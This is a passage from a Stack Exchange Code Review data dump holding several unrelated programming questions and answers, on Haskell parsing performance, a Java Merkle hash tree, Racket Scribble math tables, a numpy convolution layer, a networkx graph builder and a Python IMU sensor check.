go Diff { .. } c = Diff (tokenOnlyFirst + onlyf) (tokenFreqSame + same) (tokenFreqDiff + diff)
where
{-# INLINE val1 #-}
val1 = M.findWithDefault "-1" c m1
{-# INLINE val2 #-}
val2 = M.findWithDefault "-1" c m2
{-# INLINE onlyf #-}
onlyf | val2 == "-1" = 1
| otherwise = 0
{-# INLINE same #-}
same | val1 == val2 = 1
| otherwise = 0
{-# INLINE diff #-}
diff | val1 == val2 = 0
| otherwise = 1
{-# INLINE compareTwoMaps #-}
main :: IO ()
main = do
args <- getArgs
let fp1 = head args
fp2 = args !! 1
inp1 <- B.readFile fp1
inp2 <- B.readFile fp2
print $ readBothTogether inp1 inp2
<span class="math-container">```</span>
</code></pre>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-02T11:53:07.383",
"Id": "520635",
"Score": "2",
"body": "Do I understand correctly that you have written the same program in 2 languages and want to improve the execution time of the haskell implementation?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-03T15:32:41.707",
"Id": "520726",
"Score": "0",
"body": "yes, @pacmaninbw that is the intent."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-11T16:46:40.097",
"Id": "521264",
"Score": "0",
"body": "Same question was asked at haskell's reddit group. the user Noughtmare came up with very efficient re-implementation: https://www.reddit.com/r/haskell/comments/odfpoe/looking_for_ways_to_improve_performance_of/h40dd38?utm_source=share&utm_medium=web2x&context=3"
}
] |
[
{
"body": "<p>On my machine, your original Haskell version run on two copies of the "sa3_10000" test file takes about 20 seconds, while your Go version takes about 2 seconds. Note that profiled GHC binaries run significantly slower, even if you don't generate a profile, so you'll want to make sure you're timing an unprofiled binary when making these comparisons.</p>\n<p>Anyway, the profiling you did shows that the most time was being spent in <code>readAsInt</code>, so it might be worth targeting that.</p>\n<p>For historical reasons, <code>read</code> works on <code>String</code>s, and the process of converting a <code>Text</code> to a <code>String</code> and processing the resulting linked list of characters is really slow. <code>Data.Text.Read</code> provides a <code>decimal</code> function that can do a better job:</p>\n<pre><code>readAsInt :: L.Text -> Int\nreadAsInt x = let Right (n, "") = L.decimal x in n\n</code></pre>\n<p>That change reduces the runtime from 20 seconds to 5 seconds, so about 2.5x the Go version. Re-profiling reveals no obvious additional bottlenecks.</p>\n<p>I'm not sure I'd spend any more time trying to improve the performance of the Haskell version. Any additional improvements are likely to be modest, unless you make a truly extraordinary effort.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-11T06:29:52.433",
"Id": "521248",
"Score": "1",
"body": "Thank you a lot. I'm using `Data.ByteString.Char8.readInt` instead, my program is extraordinary faster."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-11T16:49:09.573",
"Id": "521265",
"Score": "0",
"body": "@HaruoWakakusa, do you mind comparing your implementation with the lazy version of Noughtmare's implementation (https://www.reddit.com/r/haskell/comments/odfpoe/looking_for_ways_to_improve_performance_of/h41flyx?utm_source=share&utm_medium=web2x&context=3)"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-12T13:49:03.720",
"Id": "521300",
"Score": "0",
"body": "I deleted my post because it is not beautiful. I think you should make your answer and close this question."
}
],
"meta_data": {
"CommentCount": "3",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-07T21:25:20.477",
"Id": "263847",
"ParentId": "263682",
"Score": "4"
}
},
{
"body": "<p>Adding final version, as suggested by @haruo</p>\n<p>Below code snippet was originally authored by user Noughtmare in response <a href=\"https://www.reddit.com/r/haskell/comments/odfpoe/looking_for_ways_to_improve_performance_of/?utm_source=share&utm_medium=web2x&context=3\" rel=\"nofollow noreferrer\">https://www.reddit.com/r/haskell/comments/odfpoe/looking_for_ways_to_improve_performance_of/?utm_source=share&utm_medium=web2x&context=3</a> at haskell's reddit group with minor tweaking at my end: <a href=\"https://www.reddit.com/r/haskell/comments/odfpoe/looking_for_ways_to_improve_performance_of/h40dd38?utm_source=share&utm_medium=web2x&context=3\" rel=\"nofollow noreferrer\">https://www.reddit.com/r/haskell/comments/odfpoe/looking_for_ways_to_improve_performance_of/h40dd38?utm_source=share&utm_medium=web2x&context=3</a></p>\n<p>with this run time is reduced to ~50% of initial go code present in question.\nthe most interesting changes are: (quoting from @Noughmare's comment)</p>\n<ul>\n<li>Better parser that does everything in one pass</li>\n<li>Convert bytestrings to int early so that later comparisons are fast</li>\n</ul>\n<pre><code>{-# LANGUAGE DeriveFunctor, BangPatterns #-}\n\nimport qualified Data.ByteString.Lazy as B\nimport Data.ByteString.Lazy (ByteString)\nimport qualified Data.IntMap.Strict as IntMap\nimport Data.IntMap.Strict (IntMap)\nimport qualified Data.IntMap.Merge.Strict as Merge\nimport Data.Word\nimport Data.Foldable\nimport System.Environment\nimport Data.Int\n\n-- a simple non-backtracking parser, equivalent to a state monad\n-- this will throw errors on failure\nnewtype Parser a = Parser { parse :: ByteString -> (a, ByteString) }\n deriving Functor\n\ninstance Applicative Parser where\n pure x = Parser (\\s -> (x, s))\n Parser p <*> Parser q = Parser $ \\s ->\n let\n (f, s') = p s\n (x, s'') = q s'\n x' = f x\n in (x', s'')\n\ninstance Monad Parser where\n Parser p >>= f = Parser $ \\s ->\n let\n (x, s') = p s\n in parse (f x) s'\n\npInt :: Parser Int\npInt = Parser (go 0) where\n go !n !s\n | h < 10 = go (10 * n + fromIntegral h) (B.tail s)\n | otherwise = (n, s)\n where\n h = B.head s - 48\n\npDrop :: Int64 -> Parser ()\npDrop n = Parser (\\s -> ((), B.drop n s))\n\npTail :: Parser ()\npTail = Parser (\\s -> ((), B.tail s))\n\npNext :: Parser Word8\npNext = Parser (\\s -> (B.head s, B.tail s))\n\npLine :: Parser (Int, Int, IntMap Int)\npLine = (,,) <$ pDrop 6 <*> pInt <* pTail <*> pInt <* pTail <*> go IntMap.empty\n where\n go !xs = do\n (k, v) <- (,) <$> pInt <* pTail <*> pInt\n h <- pNext\n case h of\n 10 -> pure (IntMap.insert k v xs)\n _ -> go (IntMap.insert k v xs)\n\npLines :: Parser [(Int, Int, IntMap Int)]\npLines = (:) <$> pLine <*> ifNotEof pLines where\n ifNotEof p = Parser (\\s -> if B.null s then ([], s) else parse p s)\n\n\ndata CState = CState\n { dpoif :: {-# UNPACK #-} !Int\n , dpois :: {-# UNPACK #-} !Int\n , tstate :: !TState\n } deriving Show\n\ninstance Semigroup CState where\n CState x1 x2 x3 <> CState y1 y2 y3 = \n CState (x1 + y1) (x2 + y2) (x3 <> y3)\n\ninstance Monoid CState where\n mempty = CState 0 0 mempty\n\ndata TState = TState\n { tpoif :: {-# UNPACK #-} !Int\n , tpois :: {-# UNPACK #-} !Int\n , tfd :: {-# UNPACK #-} !Int\n , tfs :: {-# UNPACK #-} !Int\n } deriving Show\n\ninstance Semigroup TState where\n TState x1 x2 x3 x4 <> TState y1 y2 y3 y4 = \n TState (x1 + y1) (x2 + y2) (x3 + y3) (x4 + y4)\n\ninstance Monoid TState where\n mempty = TState 0 0 0 0\n\ncompare' :: [(Int, Int, IntMap Int)] -> [(Int, Int, IntMap Int)] -> CState -> CState\ncompare' xs [] !s = s <> CState (length xs) 0 mempty\ncompare' [] ys !s = s <> CState 0 (length ys) mempty\ncompare' xs@((x1,x2,x3):xs') ys@((y1,y2,y3):ys') !s = case compare x1 y1 of\n LT -> compare' xs' ys (s <> CState 1 0 mempty)\n GT -> compare' xs ys' (s <> CState 0 1 mempty)\n EQ -> compare' xs' ys' (s <> CState 0 0 (compare'' x3 y3))\n\ncompare'' :: IntMap Int -> IntMap Int -> TState\ncompare'' xs ys = fold $ Merge.merge\n (Merge.mapMissing (\\_ _ -> TState 1 0 0 0))\n (Merge.mapMissing (\\_ _ -> TState 0 1 0 0))\n (Merge.zipWithMatched (\\_ x y -> if x == y then TState 0 0 1 0 else TState 0 0 0 1))\n xs\n ys\n\nmain :: IO ()\nmain = do\n fp1:fp2:_ <- getArgs\n xs <- B.readFile fp1\n ys <- B.readFile fp2\n let\n pxs = fst $ parse pLines xs\n pys = fst $ parse pLines ys\n print $ compare' pxs pys mempty\n<span class=\"math-container\">```</span>\n</code></pre>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-20T12:32:43.543",
"Id": "264207",
"ParentId": "263682",
"Score": "1"
}
}
] |
{
"AcceptedAnswerId": null,
"CommentCount": "3",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-01T19:33:19.133",
"Id": "263682",
"Score": "3",
"Tags": [
"performance",
"haskell",
"comparative-review",
"go"
],
"Title": "Parsing custom text file using haskell"
}
|
263682
|
<p>I'm learning about how full nodes can send a Merkle root + a list of hashes, so that a light client can verify a transaction.</p>
<p>I couldn't find any good resources on how to implement it. I just knew what nodes I needed in order to verify a leaf, so I just found those nodes using DFS.</p>
<p>I'm sure there is a better way to construct the HashTree, find the list of nodes the light client needs, and verification algorithm. Therefore I would really appreciate it if you could review the algorithms and code and give me advice/guidance:</p>
<p><strong>HashTree.java:</strong></p>
<pre><code>package core;
import static util.Bytes.SHA256;
import static util.Bytes.merge;
import java.util.Vector;
public class HashTree {
private final HashNode root;
public HashTree(byte[]... leaves) {
final Vector<HashNode> hashes = new Vector<>();
for (byte[] leaf : leaves) {
hashes.add(new HashNode(leaf, null, null, null));
}
root = construct(hashes);
}
public byte[] getRootHash() {
return root.hash;
}
public static byte[] getRootHash(byte[] hash, boolean oddHashIndex, Vector<byte[]> siblings) {
for (byte[] sibling : siblings) {
hash = (oddHashIndex) ? SHA256(merge(sibling, hash)) : SHA256(merge(hash, sibling));
oddHashIndex = !oddHashIndex;
for (byte b : hash) {
System.out.print(String.format("%02X", b));
}
System.out.println();
}
return hash;
}
/**
* Performs a depth-first search to find a leaf in this HashTree.
* If the leaf is found, construct a path with all the siblings
* needed to verify the leaf.
*
* @param leaf to find
* @return path, otherwise {@code null}
*/
public Vector<byte[]> authenticationPath(byte[] leaf) {
final Vector<HashNode> visited = new Vector<>();
final Vector<byte[]> path = new Vector<>();
if (!dfs(root, leaf, visited, path)) {
throw new RuntimeException("could not find the given leaf");
}
return path;
}
private boolean dfs(HashNode current, byte[] target, Vector<HashNode> visited, Vector<byte[]> path) {
boolean found = false;
if (current.hash == target) {
path.add(current.getSibling().hash);
return true;
}
visited.add(current);
if (current.left != null && !visited.contains(current.left) && !found) {
found = dfs(current.left, target, visited, path);
}
if (current.right != null && !visited.contains(current.right) && !found) {
found = dfs(current.right, target, visited, path);
}
if (found && current != root) {
path.add(current.getSibling().hash);
}
return found;
}
/**
* Constructs a new hash tree from the given leaves.
* @param hashes (leaves)
*/
private HashNode construct(Vector<HashNode> hashes) {
if (hashes == null || hashes.size() < 1) {
throw new IllegalArgumentException("no leaves given");
}
if (hashes.size() == 1) {
return hashes.firstElement();
}
if (hashes.size() % 2 != 0) {
hashes.add(hashes.lastElement());
}
final Vector<HashNode> parents = new Vector<>();
for (int i = 0; i < hashes.size() - 1; i += 2) {
final byte[] parentHash = SHA256(merge(hashes.get(i).hash, hashes.get(i + 1).hash));
final HashNode parent = new HashNode(parentHash, null, hashes.get(i), hashes.get(i + 1));
hashes.get(i).parent = parent;
hashes.get(i + 1).parent = parent;
parents.add(parent);
}
return construct(parents);
}
private static final class HashNode {
final byte[] hash;
HashNode parent;
final HashNode left;
final HashNode right;
private HashNode(byte[] hash, HashNode parent, HashNode left, HashNode right) {
this.hash = hash;
this.parent = parent;
this.left = left;
this.right = right;
}
HashNode getSibling() {
if (parent == null) {
return null;
}
if (parent.left == this) {
return parent.right;
} else {
return parent.left;
}
}
}
}
</code></pre>
<p><strong>HashTreeTest.java</strong>:</p>
<pre><code>package core;
import java.util.Vector;
import static util.Bytes.SHA256;
import static util.Bytes.merge;
import static org.junit.jupiter.api.Assertions.*;
class HashTreeTest {
@org.junit.jupiter.api.Test
void test() {
final byte[][] leaves = new byte[][] {
SHA256("ABC".getBytes()), // 0
SHA256("DEF".getBytes()), // 1
SHA256("GHI".getBytes()), // 2
SHA256("JKL".getBytes()), // 3
SHA256("MNO".getBytes()), // 4
SHA256("PQR".getBytes()), // 5
SHA256("STU".getBytes()), // 6
SHA256("VWX".getBytes()), // 7
SHA256("YZA".getBytes()), // 8
};
final byte[][] internal1 = new byte[][] {
SHA256(merge(leaves[0], leaves[1])), // 0
SHA256(merge(leaves[2], leaves[3])), // 1
SHA256(merge(leaves[4], leaves[5])), // 2
SHA256(merge(leaves[6], leaves[7])), // 3
SHA256(merge(leaves[8], leaves[8])), // 4
};
final byte[][] internal2 = new byte[][] {
SHA256(merge(internal1[0], internal1[1])), // 0
SHA256(merge(internal1[2], internal1[3])), // 1
SHA256(merge(internal1[4], internal1[4])), // 2
};
final byte[][] internal3 = new byte[][] {
SHA256(merge(internal2[0], internal2[1])), // 0
SHA256(merge(internal2[2], internal2[2])), // 1
};
final HashTree hashTree = new HashTree(leaves);
final byte[] expectedRootHash = SHA256(merge(internal3[0], internal3[1]));
final byte[] actualRootHash = hashTree.getRootHash();
equals(expectedRootHash, actualRootHash);
final Vector<byte[]> path = hashTree.authenticationPath(leaves[5]);
equals(path.get(0), leaves[4]);
equals(path.get(1), internal1[3]);
equals(path.get(2), internal2[0]);
equals(path.get(3), internal3[1]);
assertEquals(4, path.size());
equals(expectedRootHash, HashTree.getRootHash(leaves[5], true, path));
}
void equals(byte[] expected, byte[] actual) {
assertEquals(expected.length, actual.length);
for (int i = 0; i < expected.length; i++) {
assertEquals(expected[i], actual[i]);
}
}
}
</code></pre>
<p><strong>Bytes.java</strong></p>
<pre><code>package util;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.security.MessageDigest;
import java.security.NoSuchAlgorithmException;
public final class Bytes {
public static byte[] merge(byte[]... bytes) {
final ByteArrayOutputStream stream = new ByteArrayOutputStream();
try {
for (byte[] b : bytes) {
stream.write(b);
}
} catch (IOException e) {
System.err.println(e.getMessage());
}
return stream.toByteArray();
}
public static byte[] SHA256(byte[] bytes) {
try {
final MessageDigest digester = MessageDigest.getInstance("SHA-256");
return digester.digest(bytes);
} catch (NoSuchAlgorithmException e) {
System.err.println(e.getMessage());
return null;
}
}
}
<span class="math-container">```</span>
</code></pre>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-02T07:56:47.880",
"Id": "520624",
"Score": "1",
"body": "Hello, I have seen `current.hash == target` where both elements are `byte[]` arrays, you meant to check if the two arrays contain the same elements in the same positions ?"
}
] |
[
{
"body": "<p>I noticed in your <code>Byte</code> class the following code:</p>\n<pre><code>public static byte[] merge(byte[]... bytes) {\n final ByteArrayOutputStream stream = new ByteArrayOutputStream();\n try {\n for (byte[] b : bytes) {\n stream.write(b);\n }\n } catch (IOException e) {\n System.err.println(e.getMessage());\n }\n return stream.toByteArray();\n}\n</code></pre>\n<p>You chose to print the error message on the console inside the try catch construct dismissing the <code>IOException</code> exception : this is a bad practice because you are loosing the possibility to communicate the unexpected behaviour to a generic user or system not monitorating the stdout channel. A possibility to handle the abnormal behaviour is to propagate the exception and let the user to decide how to handle it rewriting the <code>Byte</code> class methods:</p>\n<pre><code>public final class Bytes {\n \n public static byte[] merge(byte[]... bytes) throws Exception {\n ByteArrayOutputStream stream = new ByteArrayOutputStream();\n for (byte[] b : bytes) {\n stream.write(b);\n }\n \n return stream.toByteArray();\n }\n \n public static byte[] SHA256(byte[] bytes) throws Exception {\n MessageDigest digester = MessageDigest.getInstance("SHA-256");\n \n return digester.digest(bytes);\n }\n}\n</code></pre>\n<p>The first problem in your <code>HashTree</code> class is the use of the <a href=\"https://docs.oracle.com/javase/8/docs/api/java/util/Vector.html\" rel=\"nofollow noreferrer\"><code>Vector</code></a> class, as said in its documentation <em>unlike the new collection implementations, Vector is synchronized. If a thread-safe implementation is not needed, it is recommended to use ArrayList in place of Vector</em>, so you should instead use <code>List</code> and <code>ArrayList</code> inside all your classes.</p>\n<p>In your <code>HashTree</code> class you have the following methods:</p>\n<pre><code>public HashTree(byte[]... leaves) {\n final Vector<HashNode> hashes = new Vector<>();\n for (byte[] leaf : leaves) {\n hashes.add(new HashNode(leaf, null, null, null));\n }\n root = construct(hashes);\n}\n\npublic byte[] getRootHash() {\n return root.hash;\n}\n</code></pre>\n<p>You can rewrite using <code>List</code> and the <a href=\"https://docs.oracle.com/javase/8/docs/api/java/util/Arrays.html#copyOfRange-byte:A-int-int-\" rel=\"nofollow noreferrer\"><code>Arrays#copyOfRange</code></a> method to create a distinct copy of your <code>byte[]</code> array parameter to avoid the shallow copies of the references:</p>\n<pre><code>public HashTree(byte[]... leaves) throws Exception {\n final List<HashNode> hashes = new ArrayList<>();\n\n for (byte[] leaf : leaves) {\n hashes.add(new HashNode(Arrays.copyOf(leaf, leaf.length), null, null, null));\n }\n\n root = construct(hashes);\n}\n\npublic byte[] getRootHash() {\n byte[] rootHash = root.hash;\n\n return Arrays.copyOf(rootHash, rootHash.length);\n}\n</code></pre>\n<p>You have the following method in your <code>HashTree</code> class:</p>\n<pre><code>public static byte[] getRootHash(byte[] hash, boolean oddHashIndex, Vector<byte[]> siblings) {\n for (byte[] sibling : siblings) {\n hash = (oddHashIndex) ? SHA256(merge(sibling, hash)) : SHA256(merge(hash, sibling));\n oddHashIndex = !oddHashIndex;\n for (byte b : hash) {\n System.out.print(String.format("%02X", b));\n }\n System.out.println();\n }\n return hash;\n}\n</code></pre>\n<p>Again the same problem of the stdout prints, you can create a different method to print the string representation of your roothash:</p>\n<pre><code>public String getRootHashString() {\n StringBuffer rep = new StringBuffer();\n byte[] rootHash = root.hash;\n for (byte b : rootHash) {\n rep.append(String.format("%02X", b));\n }\n\n return rep.toString();\n}\n\npublic static byte[] getRootHash(byte[] hash, boolean oddHashIndex, List<byte[]> siblings) throws Exception {\n for (byte[] sibling : siblings) {\n hash = (oddHashIndex) ? SHA256(merge(sibling, hash)) : SHA256(merge(hash, sibling));\n oddHashIndex = !oddHashIndex;\n }\n\n return hash;\n}\n</code></pre>\n<p>You can substitute <code>List</code> to <code>Vector</code> in your <code>authenticationPath</code> method :</p>\n<pre><code>public List<byte[]> authenticationPath(byte[] leaf) {\n final List<HashNode> visited = new ArrayList<>();\n final List<byte[]> path = new ArrayList<>();\n if (!dfs(root, leaf, visited, path)) {\n throw new RuntimeException("could not find the given leaf");\n }\n \n return path;\n}\n</code></pre>\n<p>In your <code>HashTree</code> the main problem is about the operator you are using to compare <code>byte[]</code> arrays : instead of using the <code>==</code> operator you have to use the <a href=\"https://docs.oracle.com/javase/8/docs/api/java/util/Arrays.html#equals-byte:A-byte:A-\" rel=\"nofollow noreferrer\"><code>Arrays#equals</code></a> method. So you can rewrite your <code>dfs</code> method like below :</p>\n<pre><code>private boolean dfs(HashNode current, byte[] target, List<HashNode> visited, List<byte[]> path) {\n if (Arrays.equals(current.hash, target)) {\n path.add(current.getSibling().hash);\n return true;\n }\n \n visited.add(current);\n boolean found = false;\n \n //found goes in the first position in every if \n if (!found && current.left != null && !visited.contains(current.left)) {\n found = dfs(current.left, target, visited, path);\n }\n\n if (!found && current.right != null && !visited.contains(current.right)) {\n found = dfs(current.right, target, visited, path);\n }\n\n if (found && current != root) {\n path.add(current.getSibling().hash);\n }\n \n return found;\n}\n</code></pre>\n<p>In the rest of your code including your test class I omitted for brevity you have just to substitute <code>Vector</code> with <code>List</code>.</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-14T13:07:09.307",
"Id": "521443",
"Score": "0",
"body": "Thank you for the feedback. But most of it is just to use List instead of Vector, some exception handling and equality checks. This is not what I was looking for. As I write in the original post, I'm mostly looking for improvements/guidance on the actual algorithms themselves."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-15T05:35:40.753",
"Id": "521506",
"Score": "0",
"body": "@user644361 You are welcome."
}
],
"meta_data": {
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-10T20:46:02.680",
"Id": "263937",
"ParentId": "263686",
"Score": "0"
}
}
] |
{
"AcceptedAnswerId": null,
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-01T21:29:53.513",
"Id": "263686",
"Score": "2",
"Tags": [
"java",
"algorithm",
"cryptocurrency",
"blockchain"
],
"Title": "Bitcoin Hash (Merkle) Tree implementation in Java"
}
|
263686
|
<p>I love the self-completion environment of Racket language. I tried to write some Mathematical text by Racket Scribble. I thought that Scribble's output was verbose or roundabout, but I could reduce my Scribble code by meta-programming efficiently, so I felt fun.</p>
<p>Here is my draft code. Please give me some advice. Thank you for reading.</p>
<pre><code>#lang scribble/manual
@require[scribble-math]
@require[scribble/core]
@require[scribble/decode]
@require[scribble/html-properties]
@require[scribble/latex-properties]
@require[racket]
@(define *css* #<<CSS-END
.TableElem {
margin-top: 0.25em;
margin-bottom: 0.25em;
margin-left: 0.5em;
margin-right: 0.5em;
}
.TallTableElem {
margin-top: -0.4em;
margin-bottom: -0.4em;
margin-left: 0.5em;
margin-right: 0.5em;
}
blockquote p {
margin: 0px;
padding: 0px;
}
CSS-END
)
@(define *tex* #<<TEX-END
TEX-END
)
@(define (init)
(call-with-output-file "./common.css"
(lambda (out)
(write-string *css* out))
#:mode 'text
#:exists 'replace)
(call-with-output-file "./common.tex"
(lambda (out)
(write-string *tex* out))
#:mode 'text
#:exists 'replace))
@(define additional-style-files
(list (make-css-addition "./common.css")
(make-tex-addition "./common.tex")))
@(define table-elem-style
(make-style "TableElem" additional-style-files))
@(define tall-table-elem-style
(make-style "TallTableElem" additional-style-files))
@(define (x-tabular listss)
(define (add-style-each-elem elem)
(if (nested-flow? elem)
elem
(nested #:style table-elem-style elem)))
(define (add-style-each-row row)
(map add-style-each-elem row))
(define (add-style lss)
(map add-style-each-row lss))
(tabular #:row-properties (map (const 'border) (range (length listss)))
#:column-properties (list 'center 'left)
(add-style listss)))
@;------------------------------
@; TITLE
@;------------------------------
@title[#:style (with-html5 manual-doc-style)]{Math Terminology}
@;------------------------------
@; BODY
@;------------------------------
@(define *table-content* null)
@(define (add-table! fst snd)
(set! *table-content*
(cons (list fst snd) *table-content*)))
@(define (display-table!)
(let ((res (x-tabular (reverse *table-content*))))
(set! *table-content* null)
res))
@(add-table! @${x^2} @elem{@${x} squared})
@(add-table! @${x^3} @elem{@${x} cubed})
@(add-table!
@${x^n}
@para{@${x} raised to the power of @${n} @linebreak[]
@${x} to the power of @${n} @linebreak[]
@${x} to the @${n}})
@(add-table!
@$${\frac{x}{y}}
@para{@${x} on @${y} @linebreak[]
@${x} over @${y} @linebreak[]
@${x} devided by @${y}})
@(add-table!
@${\sqrt{x}}
@para{the square root of @${x}})
@(display-table!)
@(add-table!
@${x = y}
@para{@${x} equals @${y} @linebreak[]
@${x} is equal to @${y}})
@(add-table!
@${x \gt y}
@elem{@${x} is greater than @${y}})
@(add-table!
@${x \ge y}
@elem{@${x} is greater than or equal to @${y}})
@(add-table!
@${x \lt y}
@elem{@${x} is less than @${y}})
@(add-table!
@${x \le y}
@elem{@${x} is less than or equal to @${y}})
@(add-table!
@${x \ne y}
@elem{@${x} is not equal to @${y}})
@(display-table!)
@(add-table!
(nested #:style tall-table-elem-style
@$${\lim_{x \to c} f(x) = L})
@elem{the limit of @${f} of @${x} as @${x} approaches @${c} equals @${L}})
@(add-table!
@${f(x) \to L ~ \text{as} ~ x \to c}
@elem{@${f} of @${x} tends to @${L} as @${x} tends to @${c}})
@(display-table!)
</code></pre>
|
[] |
[] |
{
"AcceptedAnswerId": null,
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-01T21:42:46.973",
"Id": "263687",
"Score": "0",
"Tags": [
"html",
"css",
"racket"
],
"Title": "Math Text in Racket Scribble"
}
|
263687
|
<p>I'm trying to make a CNN in python using numpy. I have a finished product but it seems that it can be improved. On testing the convolutional layer is the biggest bottleneck</p>
<pre class="lang-py prettyprint-override"><code> def forward(self, a_prev, training):
batch_size = a_prev.shape[0]
a_prev_padded = Conv.zero_pad(a_prev, self.pad)
out = np.zeros((batch_size, self.n_h, self.n_w, self.n_c))
# Convolve
for i in range(self.n_h):
v_start = i * self.stride
v_end = v_start + self.kernel_size
for j in range(self.n_w):
h_start = j * self.stride
h_end = h_start + self.kernel_size
out[:, i, j, :] = np.sum(
a_prev_padded[:, v_start:v_end, h_start:h_end, :, np.newaxis] * self.w[np.newaxis, :, :, :],
axis=(1, 2, 3),
)
z = out + self.b
a = self.activation.f(z)
if training:
# Cache for backward pass
self.cache.update({"a_prev": a_prev, "z": z, "a": a})
return a
</code></pre>
<p>This is the code I have written. The nested for loops are one of my concerns but not sure.
Is there a way to speed this up or should I use another algorithm?</p>
<p><strong>Thanks in advance</strong></p>
|
[] |
[] |
{
"AcceptedAnswerId": null,
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-02T05:41:42.823",
"Id": "263691",
"Score": "2",
"Tags": [
"python",
"performance",
"algorithm",
"numpy"
],
"Title": "Convolution layer using numpy in python"
}
|
263691
|
<p>I'm working on a code snippet that generates a network graph.</p>
<pre><code>def create_network(df, node, column_edge, column_edge1=None, column_edge2=None):
# select columns, remove NaN
df_edge1 = df[[node, column_edge]].dropna(subset=[column_edge]).drop_duplicates()
# To create connections between "node" who have the same "edge",
# join data with itself on the "node" column.
df_edge1 = df_edge1.merge(
df_edge1[[node, column_edge]].rename(columns={node:node+"_2"}),
on=column_edge
)
# By joining the data with itself, node will have a connection with themselves.
# Remove self connections, to keep only connected nodes which are different.
edge1 = df_edge1[~(df_edge1[node]==df_edge1[node+"_2"])].dropna()[[node, node +"_2", column_edge]]
# To avoid counting twice the connections (person 1 connected to person 2 and person 2 connected to person 1)
# we force the first ID to be "lower" then ID_2
edge1.drop(edge1.loc[edge1[node+"_2"]<edge1[node]].index.tolist(), inplace=True)
G = nx.from_pandas_edgelist(df=edge1, source=node, target=node + '_2', edge_attr=column_edge)
G.add_nodes_from(nodes_for_adding=df[node].tolist())
if column_edge1:
df_edge2 = df[[node, column_edge1]].dropna(subset=[column_edge1]).drop_duplicates()
df_edge2 = df_edge2.merge(
df_edge2[[node, column_edge1]].rename(columns={node:node+"_2"}),
on=column_edge1
)
edge2 = df_edge2[~(df_edge2[node]==df_edge2[node+"_2"])].dropna()[[node, node+"_2", column_edge1]]
edge2.drop(edge2.loc[edge2[node+"_2"]<edge2[node]].index.tolist(), inplace=True)
# Create the connections in the graph
links_attributes = {tuple(row[[node, node+"_2"]]): {column_edge1: row[column_edge1]} for i,row in edge2.iterrows()}
# create the connection, without attribute.
G.add_edges_from(links_attributes)
# adds the attribute.
nx.set_edge_attributes(G=G, values=links_attributes)
if column_edge2:
df_edge3 = df[[node, column_edge2]].dropna(subset=[column_edge2]).drop_duplicates()
df_edge3 = df_edge3.merge(
df_edge3[[node, column_edge2]].rename(columns={node:node+"_2"}),
on=column_edge2
)
edge3 = df_edge3[~(df_edge3[node]==df_edge3[node+"_2"])].dropna()[[node, node+"_2", column_edge2]]
edge3.drop(edge3.loc[edge3[node+"_2"]<edge3[node]].index.tolist(), inplace=True)
# Create the connections in the graph
links_attributes2 = {tuple(row[[node, node+"_2"]]): {column_edge2: row[column_edge2]} for i,row in edge3.iterrows()}
# create the connection, without attribute.
G.add_edges_from(links_attributes2)
# adds the attribute.
nx.set_edge_attributes(G=G, values=links_attributes2)
return G
</code></pre>
<p>The above function takes dataframe, node, and one or more column edges and generates the graph using <code>Networkx</code> python package.</p>
<p>Is there a better / more elegant / more accurate way to do this?</p>
|
[] |
[] |
{
"AcceptedAnswerId": null,
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-02T12:15:26.573",
"Id": "263695",
"Score": "1",
"Tags": [
"python",
"graph",
"pandas"
],
"Title": "Python, create a network with a given node and edges from pandas dataframe"
}
|
263695
|
<p>all
This script's purpose is to check whatever the acceleration component s in order.
The IMU data sampled represent 2 samples of the imu measurements.</p>
<p>I'd love to hear your comments regarding readability and best practices.</p>
<pre><code>import logging
import math
import sys
IMU_data_samples = [([-1.4120378002684528, -10.210593634959793, 3.3613594121682193],
[-0.002742788783767945, -0.0011996491815411065, 0.0032035080745434893]), (
[-1.408874821800522, -9.216022765908352, 3.3767004976616977],
[0.003897155186363737, -0.007772396210449728, 0.008185690588342136])]
GYRO_TOLERANCE = 0.05
ACC_TOLERANCE = 2
G_FORCE = 9.81
def make_logger():
log = logging.getLogger(__name__)
log.setLevel(logging.INFO)
formatter = logging.Formatter('%(filename)s - %(asctime)s - %(levelname)s - %(message)s')
handler = logging.StreamHandler(sys.stdout)
handler.setFormatter(formatter)
log.addHandler(handler)
return log
logger = make_logger()
def check_IMU_values() -> str:
for accelerometer, gyro in IMU_data_samples:
for g in gyro:
if g == 0 or abs(g) > GYRO_TOLERANCE:
logger.exception('one of the Gyro axes is equal zero or unreasonable gyro value ')
raise Exception
acc_axis_values_list = []
for acc_axis_value in accelerometer:
acc_axis_values_list.append(acc_axis_value * acc_axis_value)
if acc_axis_value == 0:
logger.exception('one or more the acc axes is equal 0 !!! ')
acc_root_of_sum_of_squares = (math.sqrt(sum(acc_axis_values_list)))
if not G_FORCE - ACC_TOLERANCE < acc_root_of_sum_of_squares < G_FORCE + ACC_TOLERANCE:
logger.exception('acc value is out of scope ! ')
raise Exception
return 'The IMU is in order.'
if __name__ == '__main__':
check_IMU_values()
</code></pre>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-03T01:55:56.437",
"Id": "520698",
"Score": "0",
